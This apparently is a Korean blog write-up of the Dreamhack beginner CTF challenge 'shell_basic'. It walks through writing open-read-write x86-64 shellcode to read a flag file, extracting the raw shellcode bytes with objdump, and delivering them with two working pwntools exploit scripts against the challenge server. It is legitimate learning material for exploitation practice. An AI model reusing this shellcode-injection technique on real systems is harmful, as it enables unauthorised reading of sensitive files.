Dreamhack : shell_basic write_up

heuniy·2023년 9월 25일
0

dreamhack_write up

목록 보기
1/1

문제

입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.

main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.

execve 시스템 콜을 사용하지 못하는 것으로 보아 orw 셸코드를 작성해서 /home/shell_basic/flag_name_is_loooooong 에 있는 flag 파일을 읽어야 하는 문제같다.


풀이

1. C언어 스켈레톤 코드를 이용한 풀이

일단 시스템 해킹 문제를 처음 풀어보기 때문에 드림핵 강의에서 배웠던 그대로 풀어봤다.

heun@heun-virtual-machine:~/0925$ vi shell_basic.S

shell_basic.S 을 만들어서 어셈블리 코드를 작성했다.


한 문단씩 살펴보겠다.

/home/shell_basic/flag_name_is_loooooong을 아스키 코드로 변환한 것이다.

여기서 리틀 엔디안 방법을 사용하면
676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f 이다.

이것을 스택에 push 해서 위치시킬건데 스택에는 8 바이트 단위로만 값을 push 할 수 있으므로 8바이트씩 나눠서 push 했다.


그리고 rdi가 위의 것을 가리키기 위해 mov 를 사용해 rsp (스택 포인터)를 rdi로 옮긴다.

O_RDONLY는 0이므로, rsi는 0으로 설정한다.

xor 을 사용해서 0을 설정 할 것이므로 자기 자신을 xor 한다.

파일을 읽을 때 mode 는 의미가 없으므로 rdx 는 0으로 설정한다.

이것도 마찬가지로 자기 자신을 xor 해서 0이 되도록 한다.

마지막으로 raxopensyscall 값인 2로 설정한다.

open(filename, flags, mode)에서 각각 첫 번째, 두 번째, 세 번째 인자는 rdi, rsi, rdx 레지스터 값이 사용된다.


syscall의 반환 값은 rax로 저장된다.

따라서 open으로 획득한 /home/shell_basic/flag_name_is_loooooong의 fd는 rax에 저장된다.

read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.

buf는 스택에 만들 것이므로 rsi에 rsp를 대입하고, 파일에서 read할 크기만큼 rsi에서 빼주고 rdx를 파일에서 read할 크기만큼 설정해준다.

read 시스템콜을 호출하기 위해서 rax0으로 설정한다.


출력은 stdout (일반 출력)으로 할 것이므로, rdi를 0x1로 설정한다.

rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.

write 시스템콜을 호출하기 위해서 rax1로 설정한다.




이제 작성한 어셈블리 코드를 스켈레톤 코드에 넣는 방식으로 c 파일을 만들었다.

heun@heun-virtual-machine:~/0925$ vi orw.c

// File name: orw.c
// Compile Option: gcc -o orw orw -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x0\n"
    "mov rax, 0x676e6f6f6f6f6f6f\n"
    "push rax\n"
    "mov rax, 0x6c5f73695f656d61\n"
    "push rax\n"
    "mov rax, 0x6e5f67616c662f63\n"
    "push rax\n"
    "mov rax, 0x697361625f6c6c65\n"
    "push rax\n"
    "mov rax, 0x68732f656d6f682f\n"
    "push rax\n"


    "mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
    "xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx # rdx = 0\n"
    "mov rax, 0x2 # rax = 2 ; syscall_open\n"
    "syscall # open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"



    "mov rdi, rax # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30 # rdx = 0x30 ; len\n"
    "mov rax, 0x0 # rax = 0 ; syscall_read\n"
    "syscall # read(fd, buf, 0x30)\n"


    "mov rdi, 1 # rdi = 1 ; rd = stdout\n"
    "mov rax, 0x1 # rax = 1 ; syscall_write\n"
    "syscall # write(fd, buf, 0x30)\n"

이제 orw.c를 컴파일하고 objdump로 셸코드를 추출해야 한다.

heun@heun-virtual-machine:~/0925$ gcc -o orw orw.c -masm=intel
heun@heun-virtual-machine:~/0925$ objdump -d orw

orw:     file format elf64-x86-64


Disassembly of section .init:

0000000000001000 <_init>:
    1000:	f3 0f 1e fa          	endbr64 
    1004:	48 83 ec 08          	sub    $0x8,%rsp
    1008:	48 8b 05 d9 2f 00 00 	mov    0x2fd9(%rip),%rax        # 3fe8 <__gmon_start__@Base>
    100f:	48 85 c0             	test   %rax,%rax
    1012:	74 02                	je     1016 <_init+0x16>
    1014:	ff d0                	call   *%rax
    1016:	48 83 c4 08          	add    $0x8,%rsp
    101a:	c3                   	ret    

Disassembly of section .plt:

0000000000001020 <.plt>:
    1020:	ff 35 a2 2f 00 00    	push   0x2fa2(%rip)        # 3fc8 <_GLOBAL_OFFSET_TABLE_+0x8>
    1026:	f2 ff 25 a3 2f 00 00 	bnd jmp *0x2fa3(%rip)        # 3fd0 <_GLOBAL_OFFSET_TABLE_+0x10>
    102d:	0f 1f 00             	nopl   (%rax)

Disassembly of section .plt.got:

0000000000001030 <__cxa_finalize@plt>:
    1030:	f3 0f 1e fa          	endbr64 
    1034:	f2 ff 25 bd 2f 00 00 	bnd jmp *0x2fbd(%rip)        # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
    103b:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)

Disassembly of section .text:

0000000000001040 <_start>:
    1040:	f3 0f 1e fa          	endbr64 
    1044:	31 ed                	xor    %ebp,%ebp
    1046:	49 89 d1             	mov    %rdx,%r9
    1049:	5e                   	pop    %rsi
    104a:	48 89 e2             	mov    %rsp,%rdx
    104d:	48 83 e4 f0          	and    $0xfffffffffffffff0,%rsp
    1051:	50                   	push   %rax
    1052:	54                   	push   %rsp
    1053:	45 31 c0             	xor    %r8d,%r8d
    1056:	31 c9                	xor    %ecx,%ecx
    1058:	48 8d 3d 4b 01 00 00 	lea    0x14b(%rip),%rdi        # 11aa <main>
    105f:	ff 15 73 2f 00 00    	call   *0x2f73(%rip)        # 3fd8 <__libc_start_main@GLIBC_2.34>
    1065:	f4                   	hlt    
    1066:	66 2e 0f 1f 84 00 00 	cs nopw 0x0(%rax,%rax,1)
    106d:	00 00 00 

0000000000001070 <deregister_tm_clones>:
    1070:	48 8d 3d 99 2f 00 00 	lea    0x2f99(%rip),%rdi        # 4010 <__TMC_END__>
    1077:	48 8d 05 92 2f 00 00 	lea    0x2f92(%rip),%rax        # 4010 <__TMC_END__>
    107e:	48 39 f8             	cmp    %rdi,%rax
    1081:	74 15                	je     1098 <deregister_tm_clones+0x28>
    1083:	48 8b 05 56 2f 00 00 	mov    0x2f56(%rip),%rax        # 3fe0 <_ITM_deregisterTMCloneTable@Base>
    108a:	48 85 c0             	test   %rax,%rax
    108d:	74 09                	je     1098 <deregister_tm_clones+0x28>
    108f:	ff e0                	jmp    *%rax
    1091:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)
    1098:	c3                   	ret    
    1099:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)

00000000000010a0 <register_tm_clones>:
    10a0:	48 8d 3d 69 2f 00 00 	lea    0x2f69(%rip),%rdi        # 4010 <__TMC_END__>
    10a7:	48 8d 35 62 2f 00 00 	lea    0x2f62(%rip),%rsi        # 4010 <__TMC_END__>
    10ae:	48 29 fe             	sub    %rdi,%rsi
    10b1:	48 89 f0             	mov    %rsi,%rax
    10b4:	48 c1 ee 3f          	shr    $0x3f,%rsi
    10b8:	48 c1 f8 03          	sar    $0x3,%rax
    10bc:	48 01 c6             	add    %rax,%rsi
    10bf:	48 d1 fe             	sar    %rsi
    10c2:	74 14                	je     10d8 <register_tm_clones+0x38>
    10c4:	48 8b 05 25 2f 00 00 	mov    0x2f25(%rip),%rax        # 3ff0 <_ITM_registerTMCloneTable@Base>
    10cb:	48 85 c0             	test   %rax,%rax
    10ce:	74 08                	je     10d8 <register_tm_clones+0x38>
    10d0:	ff e0                	jmp    *%rax
    10d2:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
    10d8:	c3                   	ret    
    10d9:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)

00000000000010e0 <__do_global_dtors_aux>:
    10e0:	f3 0f 1e fa          	endbr64 
    10e4:	80 3d 25 2f 00 00 00 	cmpb   $0x0,0x2f25(%rip)        # 4010 <__TMC_END__>
    10eb:	75 2b                	jne    1118 <__do_global_dtors_aux+0x38>
    10ed:	55                   	push   %rbp
    10ee:	48 83 3d 02 2f 00 00 	cmpq   $0x0,0x2f02(%rip)        # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
    10f5:	00 
    10f6:	48 89 e5             	mov    %rsp,%rbp
    10f9:	74 0c                	je     1107 <__do_global_dtors_aux+0x27>
    10fb:	48 8b 3d 06 2f 00 00 	mov    0x2f06(%rip),%rdi        # 4008 <__dso_handle>
    1102:	e8 29 ff ff ff       	call   1030 <__cxa_finalize@plt>
    1107:	e8 64 ff ff ff       	call   1070 <deregister_tm_clones>
    110c:	c6 05 fd 2e 00 00 01 	movb   $0x1,0x2efd(%rip)        # 4010 <__TMC_END__>
    1113:	5d                   	pop    %rbp
    1114:	c3                   	ret    
    1115:	0f 1f 00             	nopl   (%rax)
    1118:	c3                   	ret    
    1119:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)

0000000000001120 <frame_dummy>:
    1120:	f3 0f 1e fa          	endbr64 
    1124:	e9 77 ff ff ff       	jmp    10a0 <register_tm_clones>

0000000000001129 <run_sh>:
    1129:	6a 00                	push   $0x0
    112b:	48 b8 6f 6f 6f 6f 6f 	movabs $0x676e6f6f6f6f6f6f,%rax
    1132:	6f 6e 67 
    1135:	50                   	push   %rax
    1136:	48 b8 61 6d 65 5f 69 	movabs $0x6c5f73695f656d61,%rax
    113d:	73 5f 6c 
    1140:	50                   	push   %rax
    1141:	48 b8 63 2f 66 6c 61 	movabs $0x6e5f67616c662f63,%rax
    1148:	67 5f 6e 
    114b:	50                   	push   %rax
    114c:	48 b8 65 6c 6c 5f 62 	movabs $0x697361625f6c6c65,%rax
    1153:	61 73 69 
    1156:	50                   	push   %rax
    1157:	48 b8 2f 68 6f 6d 65 	movabs $0x68732f656d6f682f,%rax
    115e:	2f 73 68 
    1161:	50                   	push   %rax
    1162:	48 89 e7             	mov    %rsp,%rdi
    1165:	48 31 f6             	xor    %rsi,%rsi
    1168:	48 31 d2             	xor    %rdx,%rdx
    116b:	48 c7 c0 02 00 00 00 	mov    $0x2,%rax
    1172:	0f 05                	syscall 
    1174:	48 89 c7             	mov    %rax,%rdi
    1177:	48 89 e6             	mov    %rsp,%rsi
    117a:	48 83 ee 30          	sub    $0x30,%rsi
    117e:	48 c7 c2 30 00 00 00 	mov    $0x30,%rdx
    1185:	48 c7 c0 00 00 00 00 	mov    $0x0,%rax
    118c:	0f 05                	syscall 
    118e:	48 c7 c7 01 00 00 00 	mov    $0x1,%rdi
    1195:	48 c7 c0 01 00 00 00 	mov    $0x1,%rax
    119c:	0f 05                	syscall 
    119e:	48 31 ff             	xor    %rdi,%rdi
    11a1:	48 c7 c0 3c 00 00 00 	mov    $0x3c,%rax
    11a8:	0f 05                	syscall
    .
    .
    .

여기서 필요한 셸코드만 추출하면 된다.
owr가 실행되는 부분인 run_sh 만 추출하면 될 것이다.

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05

직접 추출한 셸 코드이다.

하지만 아무것도 나오지 않는다. 그래서 검색을 해보니 셸코드로 넘기는게 아니라 pwntools로 넘겨야 한다는 것을 알았다. 따라서 파이썬을 사용했다.


pwntools 는 인터넷에 검색하면 많이 나와있어서 하나씩 보면서 따라 작성했다.

from pwn import *

context.arch = "amd64"
p = remote("host3.dreamhack.games", 11760)

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())

context.arch로 현재 아키텍처를 지정했다.

remote 함수는 원격 서버를 대상으로 실제 익스플로잇을 작동시킬때 사용하는 함수이다.

  • remote [host][port]

shellcode에 아까 추출한 셸코드를 저장했다.

sendlineafter로 해당 shellcode를 전달했다.

  • sendlineafter를 사용한 이유는 원격 서버에 접속했을 때 "shellcode: "가 출력된 후 입력을 받았기 때문이다.

recv 함수는 프로그램이 출력하는 값을 봐야할 때 사용한다.


파일을 실행했더니 flag 를 구했다 !!



2. pwntools - shellcraft 이용

이 방법은 pwntools - shellcraft 를 이용했다.

쉘크래프트는 시스템콜의 어셈블리어 코드를 만들어 준다.

orw 셸코드를 만들어야 하므로 open, read, write syscall 해야한다.

from pwn import *

p = remote("host3.dreamhack.games", 11760)

context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())

분석하자면

from pwn import *

p = remote("host3.dreamhack.games", 11760)

context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"

여기까지는 1 방법 때 사용한 코드와 같다.

shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())

shellcraft 는 시스템콜을 쉽게 사용하기 위한 클래스이다.
shellcraft.open 을 통해 미리 지정한 파일을 열고, shellcraft.read 로 이를 읽어들여 shellcraft.writ 로 콘솔에 출력하는 기능을 수행한다.


여기서 저번 드림핵 강의 때 공부했던걸 복습해보자면

shellcode += shellcraft.read('rax', 'rsp', 0x100)

syscall의 반환 값은 rax로 저장된다.

따라서 open으로 획득한 r 의 fd는 rax에 저장된다.

read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.

buf에 rsp가 들어가는 이유는 buf의 주소가 rsp의 현재 위치이기 때문이다.

shellcode += shellcraft.write(1, 'rsp', 0x100)

출력은 stdout (일반 출력)으로 할 것이므로, rdi를 0x1로 설정한다.

rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.


print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())

asm 함수를 사용해서 셸코드를 어셈블리어로 변환한 후에 서버로 전송하고 결과값을 받아와서 출력한다.


파일을 실행했더니 flag 를 구했다 !!



(Beginner 문제지만 포너블 입문자인 나한텐 너무너무 어려웠다.....ㅜㅡㅜ)

profile
고양이 귀여워

0개의 댓글